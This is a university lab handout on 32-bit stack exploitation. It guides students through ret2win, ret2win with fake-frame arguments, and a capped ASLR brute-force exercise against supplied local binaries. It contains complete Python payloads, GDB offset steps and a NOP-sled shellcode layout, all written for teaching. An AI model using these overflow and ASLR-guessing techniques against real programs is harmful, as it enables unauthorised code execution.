IERG 4851 ยท Week 2

In-Class Lab: ret2win, Stack Arguments, and 32-bit ASLR Retry

Work only in your own course account and only on the supplied local programs.

0. Scope and Setup

This lab is for the course-provided local environment. Do not run these techniques on any system, binary, or service outside this course lab.

Submission and grading: this in-class lab is for practice only. It is not graded and does not count toward your course grade. Submit one short practice record to Blackboard by 23:59 on Thursday, 24 September 2026; the record is used for feedback and for deciding whether the class should slow down or review a concept.
Evidence and integrity: include your own GDB or terminal screenshots to show how you found the offset, addresses, payload layout, and result. Do not submit text copied directly from AI tools, classmates, or online writeups. The purpose of this practice is to learn the debugging process; a copied answer without evidence is not useful and wastes class time. If you only want to copy answers without doing the debugging work yourself, you should seriously consider whether this is the right class for you.
Where to work: log in to the course lab machine with your assigned student account, then work under ~/ierg4851/week2/in-class-lab. If you do not know your lab-machine username or password, ask the TA or the instructor during class.
cd ~/ierg4851/week2/in-class-lab
find . -maxdepth 2 -type f | sort

You should see three directories:

DirectoryGoalDifficulty
ret2winOverwrite the saved return address with a function address inside the binary.Warm-up
ret2win-argsCall a hidden function and place its arguments on the 32-bit stack.Main lab
aslr-bruteforceComplete a bounded local retry script for a 32-bit executable-stack target.Concept lab
Important: the brute-force lab is deliberately bounded and local-only. It is meant to teach why 32-bit ASLR is weak for restartable local targets, not to attack real systems.

Practice Record Contents

For each lab, include the commands or GDB observations that support your answer and one or two sentences explaining why the step was needed. Do not paste long terminal logs.

1. Warm-up: 32-bit ret2win

The program contains a hidden function win(). Your task is to redirect control flow to it.

Lecture connection: the lecture showed that a stack overflow can overwrite the saved return address at EBP + 4. In the shellcode demo, that address pointed into stack bytes. Here, it points to code already inside the binary: win().
cd ~/ierg4851/week2/in-class-lab/ret2win
make
file challenge
checksec --file=./challenge 2>/dev/null || true

Step 1: Inspect the Source

sed -n '1,120p' challenge.c

Find the vulnerable function. Notice that read() can write more bytes than buf can hold.

Why this step matters: before using tools, identify the trust boundary in the source: attacker-controlled input is copied into a fixed-size stack buffer.

Step 2: Find the Address of win()

nm challenge | grep ' win$'
objdump -d challenge | grep -A8 '<win>:'

Why this step matters: ret2win does not inject new code. It reuses code already present in the program, so the payload needs the exact address of the target function.

Step 3: Find the Offset

Use GDB to compare the frame pointer with the buffer address:

gdb -q ./challenge
(gdb) break vuln
(gdb) run
(gdb) p/x $ebp
(gdb) p/x &buf
(gdb) p/d $ebp + 4 - (int)&buf
Hint: on the course build, the offset is 76 bytes. Derive it once before using the hint.

Why this step matters: the offset tells you how many bytes fill the local buffer and saved frame data before the next four bytes overwrite the saved return address.

Step 4: Build the Payload

python3 - <<'PY' | ./challenge
import struct, sys
offset = 76
win = 0x08049196   # replace with your nm result
sys.stdout.buffer.write(b"A" * offset + struct.pack("<I", win))
PY
Success prints [+] Control-flow hijacked - you called win()! and the course flag.
Submit for this lab: record the vulnerable function or line, the computed offset, the win() address, the final payload layout in the form "A" * offset + p32(win), the success output, one sentence explaining why little-endian packing is needed, and screenshots showing your GDB offset/address checks.

Checkpoints

Common Mistakes

Thinking Questions

  1. Why does this exploit still work even though the injected input bytes are not executed as code?
  2. If the binary were compiled as PIE, which value in your payload would become unstable?
  3. Why is the offset a property of the vulnerable stack frame rather than a property of win()?

2. Main Lab: ret2win with Arguments

This lab keeps the ret2win idea but adds 32-bit function arguments. You must redirect execution to win(magic, cookie) and place both arguments where the callee expects them.

Lecture connection: the lecture's stack-frame diagram showed arguments, return address, saved EBP, and local variables. This lab asks you to build a fake call frame by hand. It is the same stack-layout idea used by ret2libc, but without libc addresses.
cd ~/ierg4851/week2/in-class-lab/ret2win-args
make
file challenge
nm challenge | grep -E ' win$| safe_exit$'

Step 1: Inspect the Source

sed -n '1,160p' challenge.c

Find the required values for magic and cookie. Also note that main() never calls win().

Why this step matters: this lab has two conditions: control must reach win(), and the values read by win() must match the expected arguments.

Step 2: Find the Addresses

nm challenge | grep -E ' win$| safe_exit$'
objdump -d challenge | grep -A12 '<win>:'

You need &win and a safe return address after win(). Use safe_exit() for that return address.

Why this step matters: a normal function call leaves a return address on the stack. Because your exploit enters win() with ret, you must provide that return address yourself.

Step 3: Find the Offset

gdb -q ./challenge
(gdb) break vuln
(gdb) run
(gdb) p/x $ebp
(gdb) p/x &buf
(gdb) p/d $ebp + 4 - (int)&buf
Hint: on the course build, the offset is 76 bytes.

Why this step matters: the control-flow part is still the same as ret2win. Only the stack words after the overwritten return address are new.

Step 4: Build the Fake Call Frame

On x86-32, arguments are passed on the stack. After the vulnerable function returns into win(), the stack should look like a normal call to win(magic, cookie):

padding
&win
&safe_exit
magic
cookie

When ret jumps to win, the CPU consumes &win as the new instruction pointer. The next word becomes win()'s return address, and the following words are read as the function arguments.

Why this step matters: this is the same mental model used by 32-bit ret2libc: target function address, post-call return address, and arguments placed where the callee expects them.

Step 5: Run the Payload

python3 - <<'PY' | ./challenge
import struct, sys
offset = 76
win = 0x080491c8        # replace with your nm result
safe_exit = 0x08049196  # replace with your nm result
magic = 0x4851cafe
cookie = 0xdeadbeef
payload = b"A" * offset
payload += struct.pack("<I", win)
payload += struct.pack("<I", safe_exit)
payload += struct.pack("<I", magic)
payload += struct.pack("<I", cookie)
sys.stdout.buffer.write(payload)
PY
Success prints [+] Control-flow hijacked with correct arguments! and the course flag.
Submit for this lab: record the offset, win() address, safe_exit() address, magic and cookie values, the fake call-frame layout, the success output, a short explanation of why the word after &win is not the first function argument, and screenshots showing your GDB/address checks.

Checkpoints

Common Mistakes

Thinking Questions

  1. Why does the payload need &safe_exit even though the flag is printed inside win()?
  2. How is this fake call frame similar to, and different from, a basic ret2libc payload?

3. Concept Lab: Bounded 32-bit ASLR Retry

This lab shows why 32-bit stack ASLR can be weak for a local restartable program. The script has a hard cap of 256 attempts and the shellcode only prints a marker.

Lecture connection: ASLR breaks a single hard-coded stack address. The lecture also showed that a NOP sled gives tolerance. This lab combines those ideas: one guessed address, a large sled, and a bounded number of local retries.
cd ~/ierg4851/week2/in-class-lab/aslr-bruteforce
make
file aslr-target
readelf -W -l aslr-target | grep GNU_STACK

Step 1: Observe Stack Randomization

python3 brute_template.py --sample
python3 brute_template.py --sample
python3 brute_template.py --sample

The diagnostic buffer address should change across runs.

Why this step matters: ASLR is visible only if you compare multiple executions. A single address does not tell you whether the stack location is stable.

Step 2: Complete payload_for()

cp brute_template.py brute.py
nano brute.py

Fill the function so it returns:

sled_size = OFFSET_TO_RETURN - len(SHELLCODE)
payload   = b"\x90" * sled_size
payload  += SHELLCODE
payload  += struct.pack("<I", guess)

The body before the guessed return address must be exactly OFFSET_TO_RETURN bytes long.

The supplied shellcode only writes ASLR HIT and exits. It does not start a shell.

Why this step matters: the NOP sled increases tolerance for an approximate return address, but the saved return address still has to land somewhere inside the sled or shellcode region.

Step 3: Try a Bounded Run

python3 brute.py --sample
python3 brute.py --guess 0xfff00000 --attempts 128

You may also use a sampled address as the starting guess:

python3 brute.py --guess 0xfff00000 --attempts 256
Probabilistic result: a run may fail even if your code is correct. Take a fresh sample and try a nearby guess. Do not remove the attempt cap.
Success prints ASLR HIT.

Why this step matters: repeated local runs demonstrate the weakness of small address spaces under restartable conditions. The attempt cap keeps the demonstration bounded and suitable for class.

Submit for this lab: record three sampled stack addresses, your chosen starting guess, the attempt limit, whether the run printed ASLR HIT, a short explanation of why the result can be probabilistic even with a correct payload, and screenshots showing your sampling and bounded run.

Checkpoints

Common Mistakes

Thinking Questions

  1. Why does a NOP sled make an approximate guessed address more useful?
  2. Which mitigation in the lecture would stop this lab even if the guessed stack address were correct?

4. Practice Record Checklist

This checklist summarizes the expected contents of your practice record.

  1. For ret2win: vulnerable code location, offset, win() address, payload layout, success output, and the reason for little-endian packing.
  2. For ret2win-args: offset, win() and safe_exit() addresses, argument values, fake call-frame layout, success output, and why the fake return address comes before the arguments.
  3. For ASLR retry: three sample addresses, chosen guess, attempt bound, result, and why the result is probabilistic.
  4. GDB or terminal screenshots that demonstrate your own process. A copied answer without supporting evidence does not meet the purpose of this practice.
  5. Short answers to the thinking questions. One or two sentences per question is enough.

Keep the record concise. The point is to show your evidence and reasoning, not to paste every failed attempt.

Optional Advanced Question

This is not part of the required in-class lab. If the vulnerable program were a 64-bit Linux binary, what would need to change in your approach? In your answer, consider register-based argument passing, the need for useful ROP gadgets such as pop rdi; ret, 8-byte addresses, stack alignment, and the much larger ASLR search space.